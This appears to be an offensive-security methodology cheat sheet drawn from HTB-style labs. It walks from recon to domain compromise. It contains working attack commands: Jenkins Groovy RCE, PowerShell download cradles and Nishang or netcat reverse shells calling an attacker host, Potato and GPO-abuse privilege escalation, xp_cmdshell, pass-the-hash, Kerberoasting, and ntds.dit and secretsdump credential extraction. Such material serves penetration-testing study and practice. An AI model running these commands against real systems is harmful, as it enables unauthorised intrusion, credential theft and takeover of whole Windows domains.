Skip to content

Methodology

Flow at a glance

  • 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
  • 2) Branch: Web or AD quickstart based on exposure
  • 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
  • 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
  • 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
  • 6) Post-foothold triage and proof
  • 7) Evidence capture and timeline notes

Decision triggers

  • If LDAP/Kerberos/SMB exposed -> run AD quickstart
  • If HTTP/HTTPS exposed -> run web enum
  • If Jetty/Tomcat/Java app server found -> check for Jenkins, try /manager, /script, box-name-based paths
  • If Jenkins found -> check /script (Groovy console), /manage, /credentials (often unauthenticated!)
  • If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
  • If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
  • If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
  • If AD present -> collect BloodHound to find pivot paths
  • If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
  • If vaults/files found -> crack and re-validate creds (KeePass .kdbx, Password Safe .psafe3)
  • If config files found -> check for base64-encoded passwords
  • If Windows shell obtained -> check hidden files, Recycle Bin, and Alternate Data Streams
  • If NTLM hash obtained -> pass-the-hash with impacket-psexec (hash = password)
  • If SeImpersonatePrivilege -> JuicyPotato/PrintSpoofer/RoguePotato for SYSTEM
  • If SeBackupPrivilege (Backup Operators) -> diskshadow + robocopy /b → ntds.dit → secretsdump → Domain Admin
  • If Linux box, no sudo, no SUID → run ss -tlnp to find internal services (127.0.0.1)
  • If internal web service found → SSH port forwarding (-L) to access from Kali
  • If web app has file path parameter → test path traversal AND command injection (;id, |id)
  • If reverse shell keeps dying → use --norc --noprofile or pivot to SSH key injection
  • If flat-file CMS (PHP + no DB port + data/themes/plugins dirs) → check WonderCMS, Grav, Bludit
  • If Whitelabel Error Page → Spring Boot → check /actuator endpoints (sessions, env, mappings)
  • If /actuator/sessions exposed → steal JSESSIONID for session hijacking (no password needed)
  • If web form passes input to shell command → command injection (check for whitespace filter → ${IFS} bypass)
  • If command injection but Bad fd number → server is sh/dash, use bash -c explicitly for /dev/tcp/
  • If Spring Boot JAR on box → unzip + grep -R passwordapplication.properties often has DB creds
  • If sudo -l shows (root) /usr/bin/ssh * → GTFOBins: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
  • If web app DB creds found → dump tables → crack hashes → try password reuse on system users via SSH

Output files[]

  • Use nmap -oA nmap/<name> and ffuf -o ffuf/<name>.json for clean artifacts
  • Use cmd.log as the timeline spine; use out.log only for evidence snippets
  • Keep loot and evidence in loot/ and evidence/

Recon baseline

Command - ping <IP> or nc -vz <IP> 80 if ICMP is blocked - nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP> - ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,) - nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP> - dig @<IP> any <domain> or attempt zone transfer if DNS is exposed

Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers

Flags/Notes - -p-: all TCP ports - --min-rate: speed up scan - -Pn: skip host discovery - -oN: save normal output to file - -sS: SYN scan, -sC: default scripts, -sV: version detection

Web (80/443)

Command - ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20 - gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20

Why - Find hidden files, directories, and backups

Flags/Notes - -w: wordlist - -u: target URL with FUZZ - -e: extensions - -t: threads - If standard wordlists find nothing, try box-name-based guessing (e.g., "Jeeves" → /askjeeves/) - Check non-standard ports too (50000, 8080, 8443, etc.) - CMS identification: directory structure can fingerprint the CMS: - data/, messages/, plugins/, themes/ + PHP + no DB = WonderCMS (flat-file) - Check page source for author names → Google them → find CMS community pages - searchsploit <cms_name> once identified

Jenkins Exploitation (Jetty/Java App Servers)

Command

# Check for Jenkins on common paths
for path in "askjeeves" "jenkins" "script" "manage" "j" "ci"; do
  curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/$path/"
done

# If Jenkins dashboard found, check critical endpoints
for path in "script" "manage" "credentials" "systemInfo" "configure"; do
  curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/<jenkins_path>/$path"
done

Why - Jenkins is often unauthenticated and has a built-in Groovy Script Console = instant RCE - Jetty (HTTP server) commonly hosts Jenkins

RCE via Script Console (/script)

# Execute OS commands (Windows)
def cmd = "cmd.exe /c whoami"
def process = cmd.execute()
println process.text

# Execute OS commands (Linux)
def cmd = "id"
def process = cmd.execute()
println process.text

Reverse Shell via Script Console (Windows)

# Download cradle - downloads and executes a PowerShell reverse shell
# Requires: nc listener on Kali + Nishang shell hosted via python HTTP server
Thread.start {
  def cmd = """cmd.exe /c powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')"""
  cmd.execute()
}

Flags/Notes - Thread.start { } prevents the Script Console page from hanging - Groovy .execute() runs strings as OS commands (like Python's os.system()) - println prints output to the Script Console result area - /script = Groovy console, /manage = admin panel, /credentials = stored creds - Always check Jenkins version (footer) for known CVEs

Nishang Reverse Shell (Download Cradle Pattern)

Command

# Step 1: Copy and prepare Nishang reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port <PORT>' >> /tmp/shell.ps1

# Step 2: Host it
cd /tmp && python3 -m http.server 80

# Step 3: Start listener
rlwrap nc -lvnp <PORT>

# Step 4: Trigger download from target (via Jenkins, RCE, etc.)
# Target runs: powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')

Why - Nishang scripts define functions but don't call them - must append the invoke line - Download cradle avoids pasting 100+ lines into a web form - IEX (Invoke-Expression) downloads the script as text and executes it in memory

Flags/Notes - Nishang shells: /usr/share/nishang/Shells/ (pre-installed on Kali) - Invoke-PowerShellTcp.ps1 = TCP reverse shell (most reliable, use this first) - python3 -m http.server 80 = quick HTTP server to host payloads - rlwrap nc -lvnp = listener with arrow key/history support - Pattern: Host → Download → Execute in memory (nothing written to disk)

Active Directory quickstart

Command - smbclient -N -L //<host> - ldapsearch -x -H ldap://<host> -b "DC=...,DC=..." - GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat - mssqlclient.py <user>:<pass>@<host> - nxc winrm <IP> -u <user> -p <pass>

Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access

Flags/Notes - -N: no auth, -L: list shares - -x: simple bind, -H: LDAP URI, -b: base DN - -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output - Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth - nxc winrm -H for hashes, -k for Kerberos

Kerberos Authentication Workflow

Command

# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')"  # Replace X with offset from nmap

# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf

# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>

# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache

# Verify ticket
klist

# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>

# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k

Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI

Flags/Notes - KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC - --generate-krb5-file creates proper realm/KDC configuration - TGT valid for ~10 hours (renewable) - -K flag enables GSSAPI (Kerberos) for SSH - KRB5CCNAME environment variable points to credential cache - Kerberos requires proper DNS resolution (/etc/hosts or DNS)

AD pivot chain

Command - bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip> - net user <target> <NewPass123!> - net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>" - nxc ftp <dc-ip> -u <user> -p '<pass>' --ls - nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file> - hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force - ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps - hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force - secretsdump.py '<domain>/<user>:<pass>@<dc-host>'

Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access

Flags/Notes - -c ALL: full BloodHound collection - net user on a DC resets domain user passwords (requires object control) - net rpc password performs SMB RPC reset when local syntax fails - --ls list and --get download in NetExec FTP - -m 5200: Password Safe v3 - --use-ldaps: use LDAPS 636 - DCSync returns NTLM hashes for domain accounts

MSSQL playbook

Command - impacket-mssqlclient <domain>/<user>:<pass>@<IP> - SELECT name FROM master.sys.databases; - xp_dirtree '\\<attacker_ip>\share' - xp_readerrorlog 0,1,N'Login failed'; - EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed

Flags/Notes - Use <domain>/ for AD auth; drop domain for SQL auth - xp_dirtree forces SMB auth to capture NetNTLMv2 - xp_readerrorlog indexes the error log and searches a term

Credential discovery pivot

Command - Check SQL error logs, LDAP description fields, and SMB shares - Crack NetNTLMv2 with hashcat mode 5600 - PTH with evil-winrm / nxc smb --hashes / psexec

Why - Convert passive intel into new authenticated access

Flags/Notes - Always re-validate creds on SMB/WinRM/FTP

KeePass Database Cracking

Command

# Extract hash from .kdbx file
keepass2john <file>.kdbx > keepass.hash

# Crack with john
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt

# Or crack with hashcat (mode 13400)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force

# Open the database after cracking
kpcli --kdb <file>.kdbx
# Enter cracked master password when prompted

Why - KeePass databases (.kdbx) store passwords, hashes, SSH keys, and notes - Often found in user Documents folders on Windows targets - May contain admin credentials, NTLM hashes, or access to internal services

Flags/Notes - keepass2john extracts the master password hash in john-crackable format - hashcat mode 13400 = KeePass 1/2 databases - kpcli = command-line KeePass client (alternatives: KeePassXC GUI on Kali) - Check ALL entries - titles like "Backup stuff" or "DC Recovery" often hide the real prize - Entries may contain NTLM hashes (format: aad3b435b51404ee...:e0fb1fb85756c24...) instead of plaintext passwords - File transfer: Use impacket-smbserver share . -smb2support on Kali, then copy file \\<IP>\share\ from target

Pass-the-Hash (PTH)

Command

# SYSTEM shell via psexec (uploads service binary, runs as SYSTEM)
impacket-psexec administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

# WinRM shell (if WinRM is open, port 5985)
evil-winrm -i <IP> -u administrator -H '<NT_HASH>'

# SMB validation (quick check if hash works)
nxc smb <IP> -u administrator -H '<NT_HASH>'

# SMB with full LM:NT format
nxc smb <IP> -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'

Why - Windows auth uses the NT hash internally - having the hash IS having the password - No need to crack the hash to plaintext - use it directly - impacket-psexec gives SYSTEM (not just admin) because it creates a Windows service

Flags/Notes - NTLM hash format: LM_HASH:NT_HASH - aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled, normal on modern Windows) - The NT hash is the part after the colon - that's what matters - psexec = SYSTEM shell (best for privesc), requires writable ADMIN$ share - evil-winrm = admin shell (interactive PowerShell), requires WinRM port 5985 - nxc = quick validation, no interactive shell - Common hash sources: KeePass databases, secretsdump, SAM dumps, Mimikatz

Command (PowerShell on Windows target)

# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU

# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"

# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"

# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"

# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64

# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"

# Step 5: Force GPO update (speeds up propagation)
gpupdate /force

# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)

Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell

Flags/Notes - Check BloodHound for WriteGPLink edges (not shown by whoami /all) - Group Policy Creator Owners membership does NOT automatically grant WriteGPLink - --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh) - GPO refresh interval: 90-120 seconds (or use gpupdate /force) - Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld - SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification - Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins

Transfer SharpGPOAbuse.exe:

# On Kali
cd /path/to/tools
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"

AD CS (ESC1) abuse

Command - certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable - certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator - certipy auth -pfx administrator.pfx -dc-ip <IP> - KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k

Why - Identify misconfigured templates and authenticate as higher-priv users

Flags/Notes - -enabled: active templates only - -vulnerable: highlight ESC paths - -upn: spoofed principal - -k: Kerberos auth; KRB5CCNAME points to ticket cache

Post-foothold triage

Command - whoami /groups, whoami /priv, hostname, ipconfig /all - Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services - dir /s /b C:\Users\<user>\Documents - look for KeePass (.kdbx), config files, scripts

Why - Confirm privileges and identify quick-win loot

Flags/Notes - If lateral movement is needed, validate WinRM/SMB reachability to other hosts - Check whoami /priv immediately - SeImpersonatePrivilege = easy SYSTEM - Look for credential stores: KeePass (.kdbx), Password Safe (.psafe3), browser data

Windows Privilege Escalation - SeImpersonatePrivilege

Command

# Check for the privilege
whoami /priv
# Look for: SeImpersonatePrivilege    Enabled

# JuicyPotato (Windows 10 build ≤ 10586, Server 2016 and earlier)
# Transfer JuicyPotato.exe to target
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -t *

# PrintSpoofer (Windows 10, Server 2016/2019)
PrintSpoofer.exe -i -c cmd

# RoguePotato (when JuicyPotato is blocked)
RoguePotato.exe -r <KALI_IP> -e "C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -l 9999

Why - SeImpersonatePrivilege allows impersonating tokens from other processes - Service accounts (IIS, Jenkins, MSSQL) commonly have this privilege - Potato exploits abuse Windows COM/DCOM to get a SYSTEM token, then impersonate it

Flags/Notes - JuicyPotato = classic, most reliable on older Windows (needs valid CLSID) - PrintSpoofer = newer, simpler, works on Server 2019 (abuses print spooler) - RoguePotato = works when JuicyPotato is patched/blocked - Alternative path: If you find admin NTLM hash (KeePass, SAM dump), pass-the-hash with psexec may be faster than potato exploits - Common on: Jenkins, IIS, MSSQL service accounts

Windows Privilege Escalation - Backup Operators (SeBackupPrivilege)

Command

# Check for the privilege
whoami /priv
# Look for: SeBackupPrivilege    Enabled
#           SeRestorePrivilege   Enabled

# Check group membership
whoami /groups
# Look for: BUILTIN\Backup Operators

Why - Backup Operators group grants SeBackupPrivilege and SeRestorePrivilege - SeBackupPrivilege = read ANY file on the system, bypassing NTFS ACLs - The goal: extract ntds.dit (all domain hashes) + SYSTEM hive (decryption key) - ntds.dit is locked by Active Directory — can't just copy it. Need a shadow copy.

Step 1: Extract SAM + SYSTEM registry hives

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
- Download to Kali via evil-winrm download or SMB - pypykatz registry --sam SAM SYSTEM → extracts LOCAL account hashes only - Note: Local admin hash ≠ domain admin hash. SAM only has local accounts.

Step 2: Create diskshadow script on Kali

# Create the script (MUST use unix2dos for Windows CRLF line endings!)
cat << 'EOF' > backup
set context persistent nowriters
add volume c: alias yourShadow
create
expose %yourShadow% e:
EOF
unix2dos backup

Flags/Notes (diskshadow script) - set context persistent nowriters = shadow copy persists after diskshadow exits, skip VSS writers (faster) - add volume c: alias yourShadow = target C: drive, name the shadow "yourShadow" - create = create the Volume Shadow Copy (frozen snapshot of the entire C: drive) - expose %yourShadow% e: = mount the shadow copy as drive E: so you can browse it - unix2dos is critical — diskshadow silently fails on Unix line endings (LF vs CRLF)

Step 3: Upload and run diskshadow

# Upload script via evil-winrm
upload backup C:\Users\Public\backup

# Run in script mode (interactive mode fails in evil-winrm — "The pipe has been ended")
diskshadow /s C:\Users\Public\backup

Flags/Notes - /s = script mode (reads commands from file instead of interactive prompt) - Interactive diskshadow fails in evil-winrm due to pipe limitations - Output shows: "Shadow copy ID", "Shadow copy set ID", "Number of shadow copies exposed: 1"

Step 4: Robocopy ntds.dit from shadow copy

robocopy /b e:\Windows\ntds . ntds.dit

Flags/Notes - /b = backup mode — this is the key flag that activates SeBackupPrivilege - Without /b, you get "Access Denied" even with the privilege enabled - e:\Windows\ntds = source path on the shadow copy (exposed as E:) - . = destination (current directory) - ntds.dit = specific file to copy (the AD database) - Regular copy and xcopy do NOT activate SeBackupPrivilege — only robocopy /b does

Step 5: Download and extract hashes

# Download ntds.dit and SYSTEM from target (evil-winrm)
download ntds.dit
download C:\Users\Public\SYSTEM

# Extract ALL domain hashes
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Flags/Notes - -ntds = path to ntds.dit file (the AD database) - -system = path to SYSTEM registry hive (contains the boot key for decryption) - LOCAL = offline extraction (not connecting to a remote host) - Output: Every domain user's NT hash in user:RID:LM:NT::: format - Includes: Administrator, krbtgt (Golden Ticket material), all domain users, machine accounts

Step 6: Pass-the-Hash as Domain Administrator

evil-winrm -i <IP> -u Administrator -H '<DOMAIN_ADMIN_NT_HASH>'

Flags/Notes - -H (uppercase) = NT hash authentication. Not -h (lowercase = help!) - Use the domain Administrator hash from ntds.dit, NOT the local admin hash from SAM - nxc smb <IP> -u Administrator -H '<HASH>' to validate first (look for (Pwn3d!))

Decision tree

whoami /priv shows SeBackupPrivilege?
  ├── YES → Backup Operators privesc path
  │    ├── reg save SAM + SYSTEM → pypykatz → local hashes only
  │    ├── diskshadow shadow copy → robocopy /b ntds.dit
  │    └── secretsdump ntds.dit + SYSTEM → ALL domain hashes → PtH as Admin
  └── NO → Check other privileges (SeImpersonate, etc.)

Common mistakes - Forgetting unix2dos on the diskshadow script (silent failure) - Using interactive diskshadow in evil-winrm (pipe error — use /s script mode) - Using copy instead of robocopy /b (Access Denied — SeBackupPrivilege not activated) - Confusing local admin hash (SAM) with domain admin hash (ntds.dit) - Using -h instead of -H for hash auth in evil-winrm/nxc (lowercase = help flag)

Learned from: HTB Baby (Backup Operators → shadow copy → ntds.dit → Domain Admin)


Windows Hidden File Enumeration

Command (PowerShell)

# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force

# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue

# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}

# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force

# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'

# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData

Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords

Flags/Notes - -Force = show hidden, system, and other normally hidden files - Mode column: d--hs = Directory, Hidden, System - Position 1: d = directory, - = file - Position 4: h = hidden - Position 5: s = system - Recycle Bin structure: - C:\$RECYCLE.BIN\{USER-SID}\ - $I files = metadata (148 bytes, contains original path/filename) - $R files = actual deleted content (recover these!) - Format-Hex reveals Unicode strings in binary metadata files - No naming convention for hidden files in Windows (unlike Linux .files) - Files are hidden via attributes, not filename patterns

Alternate Data Streams (ADS)

Command (CMD)

# Reveal alternate data streams on files in a directory
dir /R C:\Users\Administrator\Desktop

# Read an alternate data stream
more < filename.txt:hidden_stream:$DATA

# Example output of dir /R:
#   hm.txt
#                    34 hm.txt:root.txt:$DATA    ← hidden stream!

Command (PowerShell)

# List all streams on a file
Get-Item -Path C:\path\to\file -Stream *

# Read a specific stream
Get-Content -Path C:\path\to\file -Stream <stream_name>

# Search recursively for files with ADS
Get-ChildItem -Recurse | ForEach-Object { Get-Item $_.FullName -Stream * } | Where-Object { $_.Stream -ne ':$DATA' }

Why - NTFS Alternate Data Streams allow hiding data INSIDE a file - Normal dir and type don't show or read ADS - HTB/CTF boxes use ADS to hide flags (hint: "look deeper") - Real-world malware uses ADS to hide payloads

Flags/Notes - dir /R = only way to see ADS in cmd.exe - type CANNOT read ADS - use more < with the full stream path - ADS format: filename:streamname:$DATA - :$DATA is the default (main) stream - other streams are hidden - Always check ADS when a file says "look deeper" or flag seems missing - Common on HTB boxes for hiding root flags

Base64 Decoding in Config Files

Command

# Identify base64 (look for = padding at end)
cat config.ini | grep '='

# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

# Decode from file
base64 -d encoded.txt > decoded.txt

Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts

Flags/Notes - Base64 strings often end with = or == (padding) - Not encryption, just encoding (easily reversible) - Always check config files for: password, secret, key, token fields

File Transfer Methods

Linux to Windows

Method 1: Python HTTP Server + PowerShell Download (Most Reliable)

# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"

Method 2: SCP with Kerberos (requires Kerberos auth setup)

# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file

# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes

Method 3: certutil (Built-in Windows downloader)

# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output

Method 4: SMB (requires admin access to C$)

# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>

Windows to Linux

Method 1: SCP (with Kerberos or password auth)

# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination

# Works with active Kerberos TGT or password auth

Method 2: SMB Mount (as client)

# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support

# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\

Method 3: Base64 Encoding (for small text files only)

# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))

# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file

Flags/Notes - Avoid base64 for binaries (files >100KB become unwieldy) - SCP Windows path format: C:/ (forward slashes), $ must be quoted - Invoke-WebRequest is PowerShell's wget/curl equivalent - certutil works on all Windows versions but may be flagged by AV - Python HTTP server port 8080 (or any high port) to avoid permission issues


Kerberoasting — Decision Tree & Command Guide

When to Kerberoast

Decision Triggers: - You have valid domain credentials (any authenticated user) - You see SPNs (Service Principal Names) in domain — GetUserSPNs is your first check - You're looking for crackable service account passwords - BloodHound shows no direct ACL abuse paths (Kerberoasting is a "lateral movement via password cracking" fallback)

When NOT to Kerberoast: - You already have the hash or admin access (skip it) - No SPNs exist (quick to confirm — just run the check) - All SPNs are on machine accounts (SYSTEM@ SPNs are usually uncrackable)

Decision Flow

Do you have valid AD creds?
  ├── NO → Try AS-REP Roasting (pre-auth disabled users: GetNPUsers)
  └── YES → Run GetUserSPNs
        ├── No SPNs found → Dead end, pursue other paths
        ├── SPNs on MACHINE accounts only → Usually uncrackable, skip
        └── SPNs on USER accounts → Request TGS tickets → Crack offline
              ├── Cracked → New credential! Validate and pivot
              └── Not cracked → Weak wordlist, try larger / different hash mode

Step 1: Sync Time (ALWAYS FIRST)

# Fix: disable the NTP service that keeps resetting your time
sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd
sudo ntpdate -s <DC_IP>
  • systemctl stop/disable = stops and prevents systemd-timesyncd from overwriting
  • ntpdate -s = silently sync your clock to the DC's time
  • Why: Kerberos requires client/server clocks within ±5 minutes (KRB_AP_ERR_SKEW)

Step 2: List Kerberoastable Accounts

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
  • <domain>/<user>:'<pass>' = your authenticated credentials (format: domain/user:pass)
  • -dc-ip = IP of Domain Controller (must resolve Kerberos traffic)
  • No -request flag yet = lists SPNs without requesting tickets (fast recon)

What you'll see:

ServiceName   SPN                              Name         CipherType
----------    ---                              ----         ----------
SQL           MSSQLSvc/db01.domain.com:1433    sql_svc      RC4-HMAC
HTTP          HTTP/web01.domain.com            web_svc      AES256-CTS-HMAC-SHA1-96

Interpretation: - ServiceName = the service type - SPN = the full principal name (service/host:port) - Name = the user account backing this SPN — this is what you're attacking - CipherType = RC4-HMAC (mode 13100) is faster to crack than AES256 (mode 19700)

Step 3: Request and Capture TGS Hashes

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
  • -request = actually request TGS tickets (the crackable hashes)
  • Output: $krb5tgs$23$*... strings — save these directly

Save output:

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output kerberoast_hashes.txt

  • -output = writes hashes to file for offline cracking

Step 3b: Targeted Kerberoast (attack one specific account)

python3 targetedKerberoast.py -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps -t <target_user>
  • -d = domain name
  • -u / -p = your credentials
  • --use-ldaps = LDAPS (port 636) instead of LDAP — use when standard LDAP is blocked
  • -t = specific target account (attack only one SPN)

Step 4: Crack Hashes Offline

# RC4 hashes (mode 13100) — most common, faster to crack
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force

# AES256 hashes (mode 19700) — slower
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
  • -m 13100 = Kerberos TGS-REP etype 23 (RC4)
  • -m 19700 = Kerberos TGS-REP etype 18 (AES256)
  • --force = run even with performance warnings (fine for lab)

Cracked result:

$krb5tgs$23$*sql_svc*...:Password123!
- Everything after the last : is the plaintext password

Step 5: Validate New Credentials

nxc smb <DC_IP> -u <cracked_user> -p '<cracked_pass>'

AS-REP Roasting (Kerberoast's Companion)

When: No valid creds yet, or looking for accounts with pre-auth disabled

# Anonymous — no creds needed
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat

# With a user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
  • GetNPUsers = Get accounts with No Pre-auth (AS-REP Roasting)
  • -usersfile = file with one username per line to check
  • -no-pass = don't prompt for password (anonymous)
  • -format hashcat = output in crackable format
  • Crack mode: hashcat -m 18200

Impacket Suite — Tool Map & Decision Guide

Quick-Reference: Which Tool for Which Job

NEED TO...                          USE THIS TOOL
──────────────────────────────────────────────────────────
List Kerberoastable accounts?       impacket-GetUserSPNs
Find pre-auth disabled accounts?    impacket-GetNPUsers
Request Kerberos TGT?               impacket-getTGT
Dump AD hashes (DCSync)?            impacket-secretsdump
Connect to MSSQL?                   impacket-mssqlclient
Browse SMB shares?                  impacket-smbclient
Run commands on Windows?            impacket-psexec
Change object ownership?            impacket-owneredit
Modify ACL/DACL?                    impacket-dacledit
Relay NTLM auth?                    impacket-ntlmrelayx
Serve SMB share (capture hashes)?   impacket-smbserver

impacket-GetUserSPNs (Kerberoasting)

When: You have creds + want to find crackable service passwords

# List SPNs only (fast recon)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
